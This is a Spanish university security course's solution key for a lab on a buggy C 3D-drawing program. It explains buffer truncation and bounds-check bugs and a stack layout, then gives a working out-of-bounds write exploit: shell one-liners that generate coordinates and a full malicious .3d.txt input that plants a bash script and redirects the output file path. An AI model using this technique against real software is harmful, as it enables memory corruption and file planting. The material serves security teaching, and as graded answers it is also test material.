Práctica 1
Vulnerabilidades de Seguridad - Primavera 2017

Ejercicio 1 (se entrega vía cuestionario) – 40% de la nota

Os hemos enviado un email personalizado con la corrección de esta pregunta.

Si hiciste el ejercicio y no lo has recibido en un unos de días, pon un mensaje en el foro (revisa primero la carpeta de SPAM).

Ejercicio 2 (se entrega vía registro de evaluación continua) – 60% de la nota

Apartado 1 (1/10 puntos)

1a) Di qué valor debe tomar la variable «value», y explica por qué.

La variable value se utiliza para indicar la posición donde, más adelante en la línea 192, se escribirá un valor '\0'. En la línea 194 se añade ".pgm" al final de lo que haya en outputFileName. Si la longitud de outputFileName permite añadir los 5 caracteres de ".pgm" (atención con el '\0' al final de la cadena), no hay problema. Debemos evitar el caso contrario asignando valor de forma correcta: truncando la cadena de forma que haya 5 posiciones libres. Esto es escribir un '\0' en la posición MAX_FILENAME_SIZE – 5.

No es correcto tomar la longitud de outputFileName con strlen(outputFileName) antes de asignar el '\0', puesto que outputFileName puede no contener un '\0' y causar un segmentation fault en strlen().

1b) Da un trozo de código correcto para arreglar este error. El valor de «value», debe ser en función de «MAX_FILENAME_SIZE».

```
value = MAX_FILENAME_SIZE - 5;
```

Apartado 2 (1/10 puntos)

2a) Explica en qué líneas se encuentra este problema.

El problema se encuentra en las líneas 32 y 33. Como se ve en el archivo «rare_file.3d.txt», hay líneas que deberían quedar truncadas al salir fuera de la imagen, pero que al salir por un lado vuelven a entrar por el otro. Esto es porque el código que evita dibujar fuera de la zona de dibujo es incorrecto:

```
if ((x < 0 || x >= canvas->height) && (y < 0 || y >= canvas->width)) {
```

Es incorrecto evitar dibujar fuera de pantalla sólo si las dos coordenadas (x, y) salen fuera de los márgenes (condición &&), y es incorrecto comparar x con la altura y y con la anchura.

2b) Da un trozo de código que arregle este problema.

if ((x < 0 || x >= canvas->width) || (y < 0 || y >= canvas->height)) {

Las condiciones x > canvas->width y similares no son correctas, puesto que x == canvas->width ya se encuentra fuera de la imágen.

Apartado 3 (1/10 puntos)

3) Para entenderlo mejor decides hacer una tabla como la siguiente (rellénala correctamente). En la tabla deben aparecer todos los buffers que son accesibles desde la función DrawPixel() o las funciones que llaman a DrawPixel() directa o indirectamente (sólo los buffers declarados en acme3d.c).

Platform is x86_64-linux						
variable				**memory region**	**memory address**	
type	**name**	**line**	**Size (in bytes)**	**(Stack / Heap / Global / Text)**	**absolute**	**relative (to the first row)**
char[]*	argv	144	(variable)	Stack	0x7fffffffe3ac+	--
char[]*	envp	144	(variable)	Stack	0x7fffffffe418+	--
char[]	outputFileName	171	128	Stack	0x7fffffffdf40	0
unsigned char[]	bitmap	198	1048576	Stack	0x7fffffefdf40	−0x100000 (−1048576)
char[]	header	202	1024	Stack	0x7fffffefdb40	−0x100400 (−1049600)

Las líneas que hacen referencia a argv y envp no son necesarias.

Apartado 4 (7/10 puntos)

4a) explica cómo lo has hecho,

Hay que escribir fuera del buffer bitmap en la línea:

canvas-> bitmap [y * canvas-> width + x] = canvas-> color;

Utilizando los valores de x e y correctas, y utilizar el color para escribir el byte que se quiera. Podemos utilizar una imagen de 1 por 1, fijando x siempre a 0 para que pase (incorrectamente) el test de estar dentro de la imagen, y usar y para escribir en cualquier posición relativa a bitmap:

canvas-> bitmap [posicio_on_volem_escriure_relativa_a_bitmap] = canvas-> color;

Podemos utilizar líneas que comienzan y terminan en el mismo lugar para escribir, carácter a carácter, lo que queramos.

4b) da los cálculos necesarios,

Se puede empezar por escribir "[...]This is a malicious file\0" al buffer header. Como este buffer se encuentra a una dirección de memoria 1024 bytes antes de que bitmap, se puede acceder utilizando las coordenadas x0=0, y0=-1024, x1=0, y1=-1,024. Así pues se puede ir escribiendo en las posiciones y0=-1024 y sucesivas cada uno de los caracteres de la cadena que queremos escribir. Esto se puede hacer a mano o, por ejemplo con:

echo -en '#!/bin/bash\necho "This is a malicious file."\0' | hexdump -ve '1/1 "%d\n"' | cat -n | awk '{print (0, $1 - 1024 -1, 0, $1 - 1024 -1, $2)}'

Esto genera:

0 -1024 0 -1024 35

0 -1023 0 -1023 33

0 -1022 0 -1022 47

0 -1021 0 -1021 98

[...]

Para sobreescribir el nombre del archivo resultante, almacenado en outputFileName, se puede seguir una estrategia similar. En este caso, el buffer donde se quiere escribir se encuentra 1048576 bytes antes de que bitmap, por tanto:

echo -en '/tmp/malicious.file\0' | hexdump -ve '1/1 "%d\n"' | cat -n | awk '{print (0, $1 + 1048576 - 1, 0, $1 + 1048576 - 1, $2)}'

Esto genera:

0 1048576 0 1048576 47

0 1048577 0 1048577 116

0 1048578 0 1048578 109

[...]

Para dejarlo todo perfecto, podemos fijarnos en que la función DumpCanvas después del header se escribe el bitmap. Por lo tanto también podemos querer poner un valor a bitmap que no afecte a «echo "This is a malicious file."». Esto se puede hacer, o bien poniendo un '\n' en la posición 0,0 de la imagen, o poniendo "" y poniendo un carácter menos el header.

4c) da el contenido del archivo «.3d.txt» malicioso y comenta las diferentes partes.

(dimensiones de la imatge) 1 1 (aquí se escribe en header) 0 -1024 0 -1024 35 0 -1023 0 -1023 33 0 -1022 0 -1022 47 0 -1021 0 -1021 98 0 -1020 0 -1020 105 0 -1019 0 -1019 110 0 -1018 0 -1018 47 0 -1017 0 -1017 98 0 -1016 0 -1016 97 0 -1015 0 -1015 115 0 -1014 0 -1014 104 0 -1013 0 -1013 10 0 -1012 0 -1012 101 0 -1011 0 -1011 99	0 -1004 0 -1004 105 0 -1003 0 -1003 115 0 -1002 0 -1002 32 0 -1001 0 -1001 105 0 -1000 0 -1000 115 0 -999 0 -999 32 0 -998 0 -998 97 0 -997 0 -997 32 0 -996 0 -996 109 0 -995 0 -995 97 0 -994 0 -994 108 0 -993 0 -993 105 0 -992 0 -992 99 0 -991 0 -991 105 0 -990 0 -990 111 0 -989 0 -989 117 0 -988 0 -988 115	0 -982 0 -982 34 0 -981 0 -981 0 (aquí se escribe en outputFileName) 0 1048576 0 1048576 47 0 1048577 0 1048577 116 0 1048578 0 1048578 109 0 1048579 0 1048579 112 0 1048580 0 1048580 47 0 1048581 0 1048581 109 0 1048582 0 1048582 97 0 1048583 0 1048583 108 0 1048584 0 1048584 105 0 1048585 0 1048585 99 0 1048586 0 1048586 105 0 1048587 0 1048587 111 0 1048588 0 1048588 117 0 1048589 0 1048589 115

0 -1010 0 -1010 104 0 -1009 0 -1009 111 0 -1008 0 -1008 32 0 -1007 0 -1007 34 0 -1006 0 -1006 84 0 -1005 0 -1005 104	0 -987 0 -987 32 0 -986 0 -986 102 0 -985 0 -985 105 0 -984 0 -984 108 0 -983 0 -983 101	0 1048590 0 1048590 46 0 1048591 0 1048591 102 0 1048592 0 1048592 105 0 1048593 0 1048593 108 0 1048594 0 1048594 101 0 1048595 0 1048595 0 (aquí se escribe un \n en la posición 0,0) 0 0 0 0 10